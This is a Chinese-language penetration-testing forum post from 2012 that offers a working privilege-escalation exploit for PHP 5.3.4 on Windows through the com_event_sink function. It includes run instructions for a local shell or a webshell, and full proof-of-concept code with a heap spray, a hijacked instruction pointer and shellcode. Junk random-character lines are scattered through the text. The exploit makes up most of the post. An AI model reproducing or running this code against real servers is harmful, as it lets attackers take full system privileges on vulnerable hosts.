中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
+ @ [" f0 H: R- L
( c9 |$ I: | K1 }7 L4 ^: |
测试方法如下：cmd /c x:\php\php.exe x:\test.php
% W* _ ]. z Y: p! a
) T, f; t% S1 Q( u- H$ e2 _
下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
6 ?2 n4 Q2 j& `
这里是两个测试的截图：
% U! }- v" S7 d2 h8 G) m
r+ r" }! |/ \9 f0 K: u0 _' M+ O
. t3 a6 t0 {& X+ I9 r5 o6 j
3 ]0 D+ L- S2 D4 Z
% Y9 V, \0 D {% P7 C e
Q9 Z; g6 _! G
成功利用此漏洞的攻击者将获得系统的最高权限
* M8 m P+ z/ x0 G) a
& s/ z8 N: G5 {( Q. ?
; R; {2 m/ N- S# h$ i: m
5 x) \" S! D- Q4 j
! }" f$ s9 n! W' }( x
" g N1 C6 R% U# v7 [1 O
关于漏洞分析稍后附上。一下是PoC代码：
5 J; G! Z" h, X: E+ E, c2 N
|( ^! W7 t4 D9 `9 ~
<?php
" ]3 j6 `8 h8 q' M! K% }& x
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
, C' Q9 r/ ~7 B* S4 |* N, L7 M6 f* R
//$eip ="\x44\x43\x42\x41";
4 u" y( Q2 p" g8 F
$eip= "\x4b\xe8\x57\x78";
& t+ |6 _+ z4 Z" j* D
$eax ="\x80\x01\x8d\x04";
) K3 \* X; R" R( e, E) L- G
$deodrant="";
* c2 c% x1 G6 a f& h
$axespray = str_repeat($eip.$eax,0x80);
. H, J& T5 f4 |$ t5 u8 M! x$ p
//048d0190
, l6 h+ d' v: y' `9 L
echo strlen($axespray);
6 y4 h; ?. g: V
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
* f4 w. k1 j3 T* z4 O* A
echo "Silic Group Hacker Army - BlackBap.Org";
# F4 e( V; U" j, v- r4 I, V2 X1 p# s: {# r
//19200 ==4B32 4b00
" e, q8 z g' o0 Q/ e, {
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
9 p4 V, M- S0 O
$terminate = "T";
5 e8 D5 r; h2 c9 ~! C K& H
$u[] =$deodrant;
* I8 y. e5 |2 o p+ |% k
$r[] =$deodrant.$terminate;
& k+ Q% F5 A' U" R( U
$a[] =$deodrant.$terminate;
! C# e5 y9 J; i: W! k- L
$s[] =$deodrant.$terminate;
, p4 [8 B" l v$ R6 G
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
# e* A. ]1 K/ Q8 Q8 F @. h$ p& h
$vVar = new VARIANT(0x048d0000+180);
$ o# x3 q N, _3 |( \
//弹窗代码(Shellcode)
1 G3 g* r! S9 R& k4 a! A
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
; [$ a" r; \' U
$var2 = new VARIANT(0x41414242);
$ n+ _ Y: O: }- h, A
com_event_sink($vVar,$var2,$buffer);
; J4 l* Y) t. {% G
?>
/ D2 H4 Y5 C; d p
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2